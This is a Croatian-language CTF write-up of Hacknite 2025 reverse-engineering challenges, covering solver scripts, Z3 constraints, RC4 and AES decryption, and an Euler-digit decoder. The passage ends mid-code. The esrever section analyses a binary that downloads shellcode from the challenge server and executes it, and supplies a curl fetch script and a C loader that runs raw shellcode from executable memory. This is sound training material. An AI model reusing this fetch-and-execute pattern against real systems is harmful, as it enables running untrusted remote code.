========Hacknite2025 rješenja======== U ovom članku su rješenja zadataka sa Hacknite 2025 natjecanja. Zadatci su dostupni na platformama: https://platforma.hacknite.hr/ \\ https://platforma.hackultet.hr/ ======Reverzno inženjerstvo====== ====rev1==== Možete li analizirati program rev1 i saznati lozinku? Ako ne znate kako početi, proučite alat Ghidra (https://www.cert.hr/wp-content/uploads/2021/01/ghidra.pdf) Uz zadatak je dana izvršna datoteka. Uz pomoć Ghidre ili drugog alata za reverzno inženjerstvo potrebno je pronaći sve **if** uvjete u danoj izvršnoj datoteci i riješiti ih ručno ili napisati Python skriptu koja ih rješava. U nastavku je Python skripta koja rješava skup uvjeta u izvršnoj datoteci. def solve(): password = [''] * 21 # buf[0] password[0] = chr(233 ^ 0xAA) # buf[1] password[1] = chr((234 - 150) & 0xFF) # buf[2] password[2] = chr(-186 & 0xFF) # buf[3] password[3] = str(14 // 7) # buf[4] password[4] = '0' # buf[5] password[5] = chr((250 - 200) & 0xFF) # buf[6] for i in range(256): if (i * 3) & 0xFF == 159: password[6] = chr(i) break # buf[7] password[7] = chr(~164 & 0xFF) # buf[8] password[8] = '0' # buf[9] password[9] = chr(40 ^ 0x1E) # buf[10] password[10] = '3' # buf[11] password[11] = str(12 // 2) # buf[12] - rotr8 v = 208 n = 2 password[12] = chr((v >> n) | (v << (8 - n)) & 0xFF) # buf[13] password[13] = str(10 // 5) # buf[14] for i in range(256): if (i * 5) & 0xFF == 19: password[14] = chr(i) break # buf[15] password[15] = chr((44 + 10) & 0xFF) # buf[16] password[16] = chr(2 ^ 0x33) # buf[17] for i in range(256): if (i * 137) & 0xFF == 75: password[17] = chr(i) break # buf[18] password[18] = chr((202 - 149) & 0xFF) # buf[19] password[19] = '2' # buf[20] password[20] = chr((245 - 152) & 0xFF) print("".join(password)) solve() ====rev2==== Rješenje zadatka dostupno je ovdje: [[rev2_ghidra|CTF writeup - rev2-Ghidra]] Također su dostupna rješenja korištenjem alata Angr i tehnikom breakpoint counting. [[rev2_angr|CTF writeup - rev2-Angr]] [[rev2_bp_counter|CTF writeup - rev2-Breakpoint counting]] ====ZZZagrijavanje==== Molim vas nemojte ovo rješavati ručno, postoji bolji način (pogledajte na https://wiki.hacknite.hr što od alata bi vam moglo pomoći) Uz zadatak je dana izvršna datoteka. Alat za rješavanje ovog zadatka je [[z3|Z3]]. S pomoću Ghidre ili drugog alata za reverzno inženjerstvo potrebno je pronaći sve uvjete u danoj izvršnoj datoteci i postaviti ih kao Z3 ograničenja, te riješiti Z3 alatom. Potrebno je instalirati paket z3-solver, za što se preporučuje korištenje venv modula. Skripta koja pronalazi rješenje iz postavljenih uvjeta nalazi se u nastavku. try: from z3 import * except ImportError: print("z3-solver import error") exit() solver = Solver() # 12 symbolic 8-bit variables for the digits digits = [BitVec(f'd_{i}', 8) for i in range(12)] ### Constraints #All characters must be ASCII digits '0'-'9' --- for d in digits: solver.add(And(UGE(d, ord('0')), ULE(d, ord('9')))) # Helper function - popcount in Z3 def popcount(bv): # Sums each bit (0 or 1) return Sum([ZeroExt(7, Extract(i, i, bv)) for i in range(8)]) # 17 C checks to Z3 constraints --- # Check 1: Total ASCII Sum == 639 solver.add(Sum([ZeroExt(8, d) for d in digits]) == 639) # Check 2: Total Integer Sum == 63 solver.add(Sum([ZeroExt(8, d - ord('0')) for d in digits]) == 63) # Check 3: Total Popcount == 44 solver.add(Sum([popcount(d) for d in digits]) == 44) # Check 4: Product Mod 101 == 23 p0, p5, p11 = [ZeroExt(56, digits[i]) for i in [0, 5, 11]] solver.add(URem(p0 * p5 * p11, 101) == 23) # Check 5: XOR Sum Even Indices == 13 solver.add(digits[0] ^ digits[2] ^ digits[4] ^ digits[6] ^ digits[8] ^ digits[10] == 13) # Check 6: Half Sum Difference == 11 sum1 = Sum([ZeroExt(8, d) for d in digits[:6]]) sum2 = Sum([ZeroExt(8, d) for d in digits[6:]]) solver.add(sum1 - sum2 == 11) # Check 7: XOR Sum Prime Indices == 52 solver.add(digits[1] ^ digits[2] ^ digits[4] ^ digits[6] ^ digits[10] == 52) # Check 8: Digit Pairs % 97 == 82 d_int = [ZeroExt(8, d - ord('0')) for d in digits] val1 = d_int[0] * 10 + d_int[1] val2 = d_int[2] * 10 + d_int[3] solver.add(URem(val1 + val2, 97) == 82) # Check 9: Multiplication by 4 == 200 solver.add(((ZeroExt(8, digits[2]) * 4) + (ZeroExt(8, digits[8]) * 4)) & 0xFF == 200) # Check 10: Lowest Set Bit Sum == 4 lsb3 = digits[3] & -digits[3] lsb7 = digits[7] & -digits[7] lsb9 = digits[9] & -digits[9] solver.add(ZeroExt(8, lsb3) + ZeroExt(8, lsb7) + ZeroExt(8, lsb9) == 4) # Check 11: Weighted Sum % 251 == 121 w_sum = Sum([ZeroExt(24, digits[i]) * (i + 1) for i in range(6)]) solver.add(URem(w_sum, 251) == 121) # Check 12: Left Shift == 132 solver.add((digits[6] << 2) + (digits[11] << 3) == 132) # Check 13: AND == 56 solver.add((digits[0] & 0xF8) & (digits[1] & 0xF8) == 56) # Check 14: Arithmetic == 23 a1 = SignExt(8, digits[1]) * 3 a7 = SignExt(8, digits[7]) * 5 a11 = SignExt(8, digits[11]) * 2 solver.add(Extract(7, 0, a1 - a7 + a11) == 23) # Check 15: Low Nibble Sum == 20 solver.add(Sum([ZeroExt(4, d & 0x0F) for d in digits[8:]]) == 20) # Check 16: Quadratic % 13 == 0 x = ZeroExt(8, digits[4] - ord('0')) y = ZeroExt(8, digits[5] - ord('0')) solver.add(URem((x * x) + (y * y), 13) == 0) # Check 17: Right Shift == 12 rs5 = LShR(digits[5], 3) rs7 = LShR(digits[7], 3) solver.add(ZeroExt(8, rs5) + ZeroExt(8, rs7) == 12) solutions_found = 0 while solver.check() == sat: solutions_found += 1 model = solver.model() # Construct the solution string solution_str = "".join([chr(model[d].as_long()) for d in digits]) print(f" > Solution {solutions_found} found: CTF2025[{solution_str}]") # Add a constraint to exclude this solution from the next search block_clause = [d != model[d] for d in digits] solver.add(Or(block_clause)) if solutions_found == 1: print("Verification successful: Z3 confirmed there is exactly one unique solution.") elif solutions_found == 0: print("Warning: Z3 could not find any solution.") else: print(f"Multiple solutions found.") ====Easter Egg==== Možete li pronaći tajni uvjet koji vam otkriva flag? Igra se s wasd i nakon svakog poteza morate stisnuti enter. Dostupna vam je Linux izvršna datoteka koju možete lokalno analizirati Kako biste dobili flag, spojite se na remote instancu Linux naredbom nc chal.platforma.hacknite.hr 14001 i zadovoljite uvjet tamo kako biste dobili flag. Uz zadatak je dana i izvršna datoteka zadatka. Analizom izvršne datoteke alatom Ghidra ili drugim alatom za reverzno inženjerstvo, mogu se vidjeti potrebni uvjeti nakon kojih program čita datoteku "easterEgg.txt" i ispisuje njen sadržaj: -Zmija treba biti dužine 7 -Zmija treba cijelom dužinom tijela uz desni rub kretanjem prema gore proći gornjim lijevim kutem -Nakon prolaska kroz gornji lijevi kut i skretanjem u desno, zmija treba kretanjem u smjeru kazaljke na sat napraviti puni krug isključivim kretanjem uz rub prostora -Zmija treba ponovno proći gornjim lijevim kutom i skrenuti u desno. Svi uvjeti moraju biti zadovoljeni za cijelo vrijeme obilaženja kruga, nakon prolaska gornjim lijevim kutem uz zadovoljavanje potrebnih inicijalnih uvjeta. ====esrever==== Ovaj program se ponaša jako sumnjivo, možeš li analizirati što radi Hint: provjerite da je response koji dobivate isti kao i onaj koji program dobiva (free extra hint: vjerojatno nije) Uz zadatak se dobiva izvršna datoteka. Nakon pokretanja programa, program traži unos passworda. **Ltrace** i **strace** pokazuju da program bilježi trenutno vrijeme i da koristi curl kojime nešto dohvaća. $ ltrace ./esrever time(0) = 1762893992 snprintf("1762893992", 64, "%ld", 1762893992) = 10 curl_global_init(3, 0x564d9040400b, 0, 0) = 0 curl_easy_init(0x75a517b7e5a0, 0, 0, 0) = 0x564dbd74c600 fmemopen(0x7fffc1e37ed0, 2000, 0x564d9040400c, 0x73747265632f6c) = 0x564dbd74c4a0 curl_easy_setopt(0x564dbd74c600, 0x2712, 0x564d90404010, 0) = 0 curl_easy_setopt(0x564dbd74c600, 0x2722, 0x7fffc1e37e90, 33) = 0 curl_easy_setopt(0x564dbd74c600, 0x2711, 0x564dbd74c4a0, 0x32393933393832) = 0 curl_easy_setopt(0x564dbd74c600, 13, 10, 0x75a517c9838c) = 0 curl_easy_perform(0x564dbd74c600, 13, 0, 0x75a517c97e8c) = 0 fflush(0x564dbd74c4a0) = 0 Input a flag: $ strace ./esrever ... clock_gettime(CLOCK_MONOTONIC_RAW, {tv_sec=108665, tv_nsec=324197109}) = 0 sendto(5, "GET /get HTTP/1.1\r\nHost: chal.ha"..., 87, MSG_NOSIGNAL, NULL, 0) = 87 ... recvfrom(5, "HTTP/1.1 200 OK\r\nServer: Werkzeu"..., 16384, 0, NULL, NULL) = 175 ... recvfrom(5, "H\213\354\350\200\2\0\0j Binary Ninja može se koristiti za daljnju analizu izvršne datoteke, nakon čega je moguće lako pronaći main funkciju. 004012ef __builtin_memcpy(dest: &buf, 004012ef src: "\x48\x8b\xec\x4c\x8d\x3d\x13\x00\x00\x00\x49\x8d\x37\x6a\x01\x58\x6a\x01\x5f\x" 004012ef "6a\x27\x5a\x0f\x05\x6a\x3c\x58\x0f\x05\x53\x6f\x6d", 004012ef count: 0x20) 00401333 int64_t var_7c8 00401333 __builtin_strncpy(dest: &var_7c8, src: "ething is wrong. Contact organizers\n", 00401333 count: 0x30) 0040138d void var_798 0040138d __builtin_memset(dest: &var_798, ch: 0, count: 0x780) 004013c9 char s[0x40] 004013c9 snprintf(&s, maxlen: 0x40, format: "%ld", time(nullptr)) 004013d3 curl_global_init(3) 004013d8 int64_t rax_3 = curl_easy_init() 004013fa FILE* fp = fmemopen(&buf, len: 0x7d0, mode: U"w") 00401421 curl_easy_setopt(rax_3, 0x2712, "http://chal.hacknite.hr:1556/get") 00401441 curl_easy_setopt(rax_3, 0x2722, &s) 00401461 curl_easy_setopt(rax_3, 0x2711, fp) 00401484 curl_easy_setopt(rax_3, 0xd, 0xa) 00401493 curl_easy_perform(rax_3) 004014a2 fflush(fp) 004014ae (&buf)() 004014b9 *(fsbase + 0x28) Ovo je ključni dio main funkcije, vidi se da program bilježi trenutačni timestamp, te ga potom postavlja kao user agent i šalje zahtjev na endpoint **http://chal.hacknite.hr:1556/get**, vraćeni odgovor pokreće kao shellcode. U ovom dijelu koda se može vidjeti pod koji header se postavlja timestamp. 004013c9 char s[0x40] 004013c9 snprintf(&s, maxlen: 0x40, format: "%ld", time(nullptr)) ... 00401441 curl_easy_setopt(rax_3, 0x2722, &s) Ovdje je ključna konstanta 0x2722, odnosno 10018 u dekadskom. To je zapravo konstanta koja označava postavljanje user agenta. (enum )CURLOPT_USERAGENT = 10018 Slanje trenutačnog timestampa je bitno, jer serverska strana može vraćati drugačiji odgovor, ovisno o tome koji je timestamp u zahtjevu. Za simulaciju ovog ponašanja može se napisati bash skripta koja šalje isti zahtjev i odgovor sprema u datoteku. #!/bin/bash # current Unix timestamp # '+%s' format specifier gives the seconds since the epoch. CURRENT_TIME=$(date +%s) URL="http://chal.hacknite.hr:1556/get" echo "Sending request with User-Agent: $CURRENT_TIME" curl -A "$CURRENT_TIME" --connect-timeout 10 "$URL" --output "fetched.bin" Pokretanjem ove skripte, payload će biti dohvaćen i spremljen u datoteku "fetched.bin" $ file fetched.bin fetched.bin: data $ binwalk fetched.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- $ strings fetched.bin SVWATAUAVUH A^A]A\_^[ SVWATUH A\_^[ SVUH VWUH VWUH AWAVAUATSH Input a flag: correct nope Naredbe file i binwalk ne prepoznaju ovu datoteku, kao sto ni Ghidra niti Binary Ninja po defaultu ne prepoznaju. Iako strings ispisuje sadržaj koji ukazuje na to da je datoteka izvršni kod, sto se također može zaključiti i po tome što radi program nakon što dohvati ovaj kod CURL pozivom. Nakon dohvaćanja koda, postavlja ga u buffer, skače na njegovu lokaciju i počinje s izvršavanjem koda u bufferu. ... 004013fa FILE* fp = fmemopen(&buf, len: 0x7d0, mode: U"w") ... 004014a2 fflush(fp) 004014ae (&buf)() Metode statične analize nisu bile uspješne, moguće je da kod koristi neku tehniku otežavanja reverznog inženjerstva nad njom. Zato se može koristiti dinamička analiza s debuggerom, npr. [[gdb|gdb]]. Kako bi se olakšala dinamička analiza, može se napisati program koji će samo učitati dohvaćenu datoteku **fetched.bin**, čekati bilo koji korisnički unos i nakon njega krenuti s izvršavanjem učitanog koda. #include #include #include int main() { FILE *file = fopen("fetched.bin", "rb"); if (!file) { perror("fopen"); return 1; } fseek(file, 0, SEEK_END); long size = ftell(file); fseek(file, 0, SEEK_SET); void *mem = mmap(0, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); fread(mem, 1, size, file); fclose(file); printf("Shellcode loaded at: %p\n", mem); printf("Press enter to execute...\n"); getchar(); ((void(*)())mem)(); return 0; } Ovaj program će ispisati adresu na koju s pomoću alata gdb trebamo postaviti breakpoint. gdb ./loader (gdb) run Press enter to execute... (gdb) ^C (CTRL + C - SIGINT) (gdb) break *0x7ffff7fbc000 (gdb) continue Continuing. Breakpoint 1, 0x00007ffff7fbc000 in ?? () Sada se mogu vidjeti učitane instrukcije. (gdb) x/40i $rip => 0x7ffff7fbc000: mov %rsp,%rbp 0x7ffff7fbc003: call 0x7ffff7fbc288 0x7ffff7fbc008: push $0x3c 0x7ffff7fbc00a: pop %rax 0x7ffff7fbc00b: syscall 0x7ffff7fbc00d: push %rbx 0x7ffff7fbc00e: push %rsi 0x7ffff7fbc00f: push %rdi 0x7ffff7fbc010: push %r12 0x7ffff7fbc012: push %r13 0x7ffff7fbc014: push %r14 0x7ffff7fbc016: push %rbp 0x7ffff7fbc017: mov %rsp,%rbp 0x7ffff7fbc01a: mov %rax,%r13 0x7ffff7fbc01d: mov %rdx,%rsi 0x7ffff7fbc020: mov %rcx,%rbx 0x7ffff7fbc023: xor %edi,%edi 0x7ffff7fbc025: mov $0xa9fbcb9f,%eax 0x7ffff7fbc02a: add $0x56043461,%eax 0x7ffff7fbc02f: jne 0x7ffff7fbc04b 0x7ffff7fbc031: cmp %rbx,%rdi 0x7ffff7fbc034: jb 0x7ffff7fbc038 0x7ffff7fbc036: jmp 0x7ffff7fbc05c 0x7ffff7fbc038: mov %rsi,%r12 0x7ffff7fbc03b: add %rdi,%r12 0x7ffff7fbc03e: mov %rsi,%rax 0x7ffff7fbc041: add %rdi,%rax 0x7ffff7fbc044: mov (%rax),%r14b 0x7ffff7fbc047: mov %r13,%rax 0x7ffff7fbc04a: call 0x7ffff7fbc149 0x7ffff7fbc04f: xor %al,%r14b 0x7ffff7fbc052: mov %r14b,(%r12) 0x7ffff7fbc056: add $0x1,%rdi 0x7ffff7fbc05a: jmp 0x7ffff7fbc031 0x7ffff7fbc05c: leave ... Iz ovih instrukcija vidljivo je koja se arhitektura koristi, prefix r na registrima označava da se koriste 64-bitni registri (inače bi bio prefix e). Također je i syscall indikacija da se koristi 64 bita, kao i same memorijske adrese. Uzevši i ovu liniju u obzir 0x7ffff7fbc295: lea 0xa6(%rip),%rax # 0x7ffff7fbc342 koja računa memorijsku adresu kao relativnu adresu s obzirom na instruction pointer (%rip), može se zaključiti da je ovo Position Independent Code (PIC) za x86-64 arhitekturu. Ova informacija se može iskoristiti da reverzno inženjerstvo ovog koda s pomoću Binary Ninja alata, gdje se za platform odabere linux-x86_64. Nakon toga se označi cijeli kod i odabere opcija **Make function at this address** -> **linux-x86_64**, nakon čega Binary Ninja alat uspješno napravi dekompilaciju koda. {{ hacknite2025:binaryNinja.png?nolink&500 | Binary Ninja }} {{ hacknite2025:binaryNinja2.png?nolink&500 | Binary Ninja 2}} Može se vidjeti main funkcija. 00000288 sub_271(arg1, arg2, "Input a flag:\n", 0xe, 1); 000002b3 void var_28; 000002b3 int64_t rsi; 000002b3 int64_t rdi; 000002b3 char* r8; 000002b3 int64_t r9; 000002b3 rsi = sub_24d(arg1, arg2, &var_28, 0x15, 0); 000002b8 char var_13 = 0; 000002d3 uint64_t var_130; 000002d3 int64_t rsi_1; 000002d3 int64_t rdi_1; 000002d3 char* r12; 000002d3 uint64_t r13; 000002d3 int64_t r14; 000002d3 rsi_1 = 000002d3 sub_67(rdi, rsi, "AWAVAUATSH", 0xa, r8, &var_130, r12, r13, (uint8_t)r14, r9); 000002ed var_130 = 0x15; 000002f0 sub_d(rdi_1, rsi_1, &var_28, var_130, &var_130, r12, r14); 000002f0 00000304 if (!sub_20c(rdi_1, rsi_1, 0x351, &var_28)) 00000304 { 00000312 var_130 = 1; 00000314 int32_t rax_4 = (int32_t)var_130; 00000315 var_130 = 8; 00000318 return sub_271(rdi_1, rsi_1, "correct\n", var_130, rax_4); 00000304 } 00000304 00000329 var_130 = 1; 0000032b int32_t rax_6 = (int32_t)var_130; 0000032c var_130 = 5; 0000032f return sub_271(rdi_1, rsi_1, "nope\n", var_130, rax_6); 00000288 } vidi se da se **AWAVAUATSH** koristi kao string argument funkcije ovdje, što je inače zapravo string koji se pojavljuje na mjestima u binarnim izvršnim datotekama, gdje su [[ https://stackoverflow.com/questions/39322552/meaning-of-a-common-string-in-executables | push instrukcije registara pri ulasku u poziv funkcije]]. Analizom koda, mogu se vidjeti print i input funkcije (omotane oko write i read poziva). Ključne funkcije su **sub_67** i **sub_d**, koje su zapravo funkcije RC4 algoritma, koji iz ključa generira pseudorandom stream kojim radi XOR nad podatcima koje enkriptira. **sub_67** funkcija generira stanje iz ključa koje će se koristiti za generiranje streama za XOR (RC4 KSA). **sub_d** funkcija koristi prethodno generirano stanje kojime generira stream, odnosno odgovarajući bit za svaku poziciju korisničkog unosa i nad njima radi XOR operaciju, te rezultat sprema nazad u buffer u kojemu se spremio korisnički unos (RC4 PRGA). Nakon toga se enkriptirani korisnički unos uspoređuje s hardkodiranom vrijednošću na offsetu **0x351** **AWAVAUATSH** je ključ za generiranje stanja. Hardkodirana vrijednost (enkriptirani flag) na offsetu 0x351 je (0x351 offset -> copy as -> raw hex) 5c0ad2e1172f2ca7a1609172b2c0677cfd3882554b Kako bi se pronašao flag, može se samo ova hardkodirana vrijednost dešifrirati s RC4 algoritmom i ključem AWAVAUATSH. Ovo se može napraviti i alatom [[https://www.cert.hr/wp-content/uploads/2019/08/CyberChef.pdf|CyberChef]]. {{ hacknite2025:rc4decrypt.png?nolink&500 | CyberChef RC4 Decrypt }} ====EulerRev==== Eulerov broj se može koristit za sve, pa čak i za enkodiranje! Napomena: za rješavanje ovog zadatka ne trebate nikome uplaćivati novac ni slati mailove, svi resursi potrebni za rješavanje ovog zadatka su besplatno dostupni na internetu Hint: treba vam jako jako puno znamenki (u milijardama), file s jako puno znamenki postoji na internetu također: y-cruncher Uz zadatak su dani i encoder i output.txt (enkodirani flag). Analizom koda vidi se da program pokušava otvoriti datoteku **"euler-enough-digits.txt"**, a ako datoteke nema, koristi fallback funkciju za generiranje znamenki broja e, no ova fallback funkcija ne generira dovoljno znamenki za ispravno enkodiranje. Zato zadatak ne radi ispravno ako se pokreće bez datoteke **"euler-enough-digits.txt"** u kojoj je dovoljno znamenki broja e. Hint u zadatku kaže da je potrebno puno znamenki, u milijardama, te spominje y-cruncher, koji se može koristiti za generiranje potrebnih broja znamenki, kao i da postoje na [[https://archive.org/details/EulersNumberE7.5BillionDigits | internetu]]. Način kako program enkodira tekst pomoću znamenki Eulerovog broja je opisan: Ako je dostupno 3 slova (bajta) uzmi 3, ako nije uzmi 2, ako nije uzmi 1. npr. "Eul". Pretvori svako slovo u njenu ASCII vrijednost. E -> 069 u -> 117 l -> 108 Spoji ASCII vrijednosti slova u broj. 069117108 (ako je prva znamenka 0, ne koristi se, ako je 1 koristi se) 69117108 Na kraju broja dodaj dodatnu index counter znamenku (ciklično od 0-9) Ako je ovo prvi enkodirani blok, ova znamenka će biti 0, za drugi 2, itd.. Za 11. blok će vrijednost opet biti 1. 691171080 Ovaj broj ima 9 znamenki. Odi na poziciju 691171080. znamenke Euler broja i tamo uzmi sekvencu sljedećih 10 znamenki. 3647095543 Ovo je prvih 10 znamenki u output.txt datoteci. Uzevši u obzir da se ovime enkodiraju printable ASCII znakovi, koji mogu imati vrijednosti 32-126, najveći mogući broj dobiven iz bloka od 3 znakova, na poziciji koja je višekratnik broja 10 (ima zadnju znamenku - block counter, 9) je **1261261269**. Milijarda i 300 milijuna znamenki Eulerovog broja je dovoljna za dekodiranje teksta, koji je enkodiran na ovaj način. Potrebne znamenke se mogu ili izračunati y-cruncherom ili preuzeti s interneta. Rubni slučaj je zadnji blok, koji može biti duljine 1, 2 ili 3 znaka. Ovisno o njegovoj duljini, enkodirati će se u 4, 7 ili 10 znamenki 3 bajta -> 9 ASCII znamenke (3*3) + 1 index znamenka = 10 znamenki 2 bajta -> 6 ASCII znamenke (2*3) + 1 index znamenka = 7 znamenki 1 bajt -> 3 ASCII znamenke (1*3) + 1 index znamenka = 4 znamenke Duljina zadnjeg bloka se zna ovisno o ostaku duljine output.txt % 10, ako je 0, zadnji blok je duljine 3, ako je 4 zadnji blok je duljine 1 znaka, ako je 7 zadnji blok je duljine 2 znaka. wc -c output.txt 137 output.txt 137 % 10 = 7 zadnji blok je duljine 2 znaka. Potrebno je pronaći poziciju prve znamenke na kojoj se sekvenca zadnjih 7 znamenki pojavljuje u Eulerovom broju. Za dekodiranje, potrebno je uzeti sekvencu 10 znamenki i pronaći poziciju (10 ili 9-znamenkasti broj) na kojoj se pojavljuje ta sekvenca unutar znamenki Eulerovog broja (uzeti poziciju prve znamenke u sekvenci). Za zadnji blok se uzima preostali broj znamenki i traži pozicija te sekvence, kao što je prethodno opisano. U nastavku je program napisan u C programskom jeziku za dekodiranje, koji koristi datoteku "euler-enough-digits.txt" s barem milijardu i 300 milijuna znamenki Eulerovog broja. // decoder.c #include #include #include #include #include #include #include #include #define EULER_SIZE 1300000000ULL #define EULER_FILE "euler-enough-digits.txt" #define INPUT_FILE "output.txt" #define OUTPUT_FILE "decoded.txt" typedef struct {int fd; char* digits; size_t size;} EulerContext; void init_e(EulerContext* e) { e->fd = open(EULER_FILE, O_RDONLY); e->digits = NULL; e->size = EULER_SIZE; } void clean_e(EulerContext* e) { if (e->fd != -1) close(e->fd); if (e->digits) free(e->digits); } ssize_t find_sequence(EulerContext* e, const char* seq, size_t len, size_t start_off) { if (start_off + len > e->size) return -1; if (e->digits) { char* p = strstr(e->digits + start_off, seq); return p ? (p - e->digits) : -1; } size_t chunk = 4096 + len; char* buf = malloc(chunk); off_t pos = start_off; ssize_t found = -1; while (pos < (off_t)e->size) { size_t to_read = chunk; if (pos + to_read > (off_t)e->size) to_read = e->size - pos; if (pread(e->fd, buf, to_read, pos) != (ssize_t)to_read) break; for (size_t i = 0; i + len <= to_read; i++) { if (memcmp(buf + i, seq, len) == 0) { found = pos + i; break; } } if (found >= 0) break; pos += to_read - len + 1; } free(buf); return found; } int main() { EulerContext e; init_e(&e); FILE* in = fopen(INPUT_FILE, "r"); if (!in) { perror("fopen input"); clean_e(&e); return 1; } FILE* out = fopen(OUTPUT_FILE, "wb"); if (!out) { perror("fopen output"); fclose(in); clean_e(&e); return 1; } size_t blocks = 0, decoded = 0; time_t start = time(NULL), last = start; printf("Starting decoding...\n"); while (1) { char buf[11] = {0}; size_t got = fread(buf, 1, 10, in); if (got == 0) break; if (!(got == 10 || got == 7 || got == 4)) { fprintf(stderr, "[DEC] invalid block size %zu\n", got); break; } blocks++; fprintf(stderr, "[DEC] Block %zu: size=%zu data=%s\n", blocks, got, buf); size_t start_off; if (got == 10) { start_off = 100000000; } else if (got == 7) { start_off = 100000; } else { // 4 start_off = 100; } ssize_t offset = find_sequence(&e, buf, got, start_off); if (offset < 0) { fprintf(stderr, "[DEC] seq not found\n"); break; } fprintf(stderr, "[DEC] found at offset=%zd\n", offset); char pstr[16] = {0}; snprintf(pstr, sizeof(pstr), "%0*zd", (int)got, offset); int nbytes = (got - 1) / 3; char decoded_block[4] = {0}; for (int i = 0; i < nbytes; i++) { char bs[4] = {pstr[i*3], pstr[i*3+1], pstr[i*3+2], '\0'}; uint8_t b = (uint8_t)atoi(bs); fputc(b, out); decoded_block[i] = (char)b; fprintf(stderr, "[DEC] byte %d = %u\n", i+1, b); decoded++; } printf("Decoded block %zu: '%.*s'\n", blocks, nbytes, decoded_block); time_t now = time(NULL); if (now - last >= 1) { double elapsed = difftime(now, start); fprintf(stderr, "[DEC] blocks=%zu decoded=%zu time=%.1f\n", blocks, decoded, elapsed); last = now; } } double total = difftime(time(NULL), start); printf("Decoding done: %zu blocks, %zu bytes in %.1f sec -> %s\n", blocks, decoded, total, OUTPUT_FILE); fclose(in); fclose(out); clean_e(&e); return 0; } Moguće je napisati i jednostavniju skriptu za dekodiranje u Pythonu. ====Keygen==== Naš flag generator radi, samo je malo spor, možeš li nam pomoći? Napomena: program nije maliciozan ali bi se antivirusni programi mogli žaliti na njega, preporučujemo ga analizirati u virtualci s isključenim antivirusnim programom Uz zadatak je dostupna izvršna datoteka. Pokretanjem naredbe upx keygen.exe (upx iz paketa upx-ucl) Rezultat je upx: keygen.exe: AlreadyPackedException: already packed by UPX Datoteka se može raspakirati naredbom upx -d keygen.exe Nakon toga naredbom strings keygen.exe Može se vidjeti programski kod i u određenim linijama može se vidjeti **AutoHotkey**, što ukazuje da se radi o AutoHotkey skripti. ... #Requires AutoHotkey v1.1 ... ... U ispisu strings naredbe je vidljiv cijeli kod AutoHotkey skripte. Dio skripte koji generira flag se izvodi nakon pritiska gumba. ButtonStart(){ f := "7" Loop 10368001 { GuiControl,, Calc, % 1 + (1 - fnd(-400 * A_Index / 1036800)) * 97 f := fnb(f, "8") f := fni(f, "1000000000000") GuiControl,, Calc, 100 MsgBox, Done, your flag is: CTF2025[%f%] GuiClose: ExitApp **fnb** funkcija je funkcija eksponenta, **fnb(f, "8")** je zapravo **f^8**. **fni** funkcija je modulo funkcija, **fni(f, "1000000000000")** je ekvivalentno **f % 1000000000000**. linija koda GuiControl,, Calc, % 1 + (1 - fnd(-400 * A_Index / 1036800)) * 97 Samo računa pomak na status baru i prikazuje ga, ali na vrlo neefikasan i spor način. Uzevši u obzir da se ovo izvršava u petlji s 10368001 ponavljanja, potrebno vrijeme za izvršavanje ovog koda je neprihvatljivo dugo. Loop 10368001 { Dio koda koji se koristi za računanje flaga je ekvivalentan ovom izrazu. f = 7 for i in range (10368001): f = f ** 8 f = f % 1000000000000 print("CTF2025["+str(f)+"]") Ovaj se kod može izvršiti u Pythonu i nakon što završi s računanjem, što ne bi trebalo trajati više od minute, nakon čega će se ispisati flag. ====Poligloti==== Flag koji se nalazi u datoteci flagEnc.bin je šifriran s programom LorenIps, možeš li ga dešifrirati? Uz zadatak su dani i LorenIps izvršna datoteka i šifrirani flag. File naredba nad LorenIps datotekom kaže da je to ELF executable koji **nije stripped**, pokretanjem **binwalk** naredbe može se vidjeti da se unutar datoteke nalazi i ZIP datoteka. $ binwalk LorenIps DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 ELF, 64-bit LSB executable, AMD x86-64, version 1 (GNU/Linux) 15296 0x3BC0 AES S-Box 15552 0x3CC0 AES S-Box 15808 0x3DC0 AES S-Box 16064 0x3EC0 AES S-Box 18432 0x4800 AES Inverse S-Box 18720 0x4920 AES Inverse S-Box 19008 0x4A40 AES Inverse S-Box 19296 0x4B60 AES Inverse S-Box 537754 0x8349A Unix path: /sys/kernel/mm/hugepages 540017 0x83D71 Unix path: /usr/share/locale 543791 0x84C2F Unix path: /usr/lib/getconf 562096 0x893B0 Unix path: /usr/lib/locale 804016 0xC44B0 Zip archive data, at least v2.0 to extract, compressed size: 601, uncompressed size: 601, name: LoremIpsum.txt Zato što izvršni dio datoteke nije "stripped", reverzno inženjerstvo s alatom Ghidra je olakšano. Analizom izvršne datoteke otvorene u Ghidra alatu, može se vidjeti da program koristi AES za enkripciju flaga, a ključ AES-a je XOR jedne statične vrijednosti i jedne vrijednosti koju program pročita iz **/proc/self/exe**, iz čega također pročita i AES inicijalizacijski vektor (IV). Može se vidjeti da traži te vrijednosti na određenom pomaku nakon byteova **"PK \x05 \x06"** Što je zapravo signature za kraj ZIP datoteke. Budući da je i sama ZIP datoteka pri kraju LorenIps datoteke, može se koristiti alat **xxd** i pogledati byteove pri kraju datoteke. $ xxd LorenIps ... 000c4770: 7450 4b05 0600 0000 0001 0001 003c 0000 tPK..........<.. 000c4780: 0035 470c 0020 003d e2da c2cb fdde 65c1 .5G.. .=......e. 000c4790: 7948 dcbd 2f78 400e b8ec b0e8 498b 6c4c yH../x@.....I.lL 000c47a0: 9318 66de 87c6 a9 Ovdje se mogu vidjeti vrijednosti druge polovice AES ključa koja se XOR-a s hardkodiranom vrijednošću i AES IV, iako AES IV nije bitno iščitati odavde, jer je također zapisan i u enkriptiranoj datoteci. Sada je potrebno pročitati ovu vrijednost, napraviti XOR kako bi se dobio AES ključ i iskoristiti ga zajedno sa postavljenim IV (lakše ga je pročitati iz flagEnc.bin, sa samog početka) za dekripciju enkriptirane flag datoteke. Program koji iščitava vrijednosti upisane nakon kraja ZIP datoteke je u nastavku. #include #include #include int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s \n", argv[0]); return 1; } FILE *file = fopen(argv[1], "rb"); if (!file) { perror("Failed to open file"); return 1; } fseek(file, 0, SEEK_END); long size = ftell(file); for (long i = size - 22; i >= 0; i--) { fseek(file, i, SEEK_SET); unsigned char sig[4]; fread(sig, 1, 4, file); if (sig[0] == 0x50 && sig[1] == 0x4b && sig[2] == 0x05 && sig[3] == 0x06) { fseek(file, i + 20, SEEK_SET); unsigned short 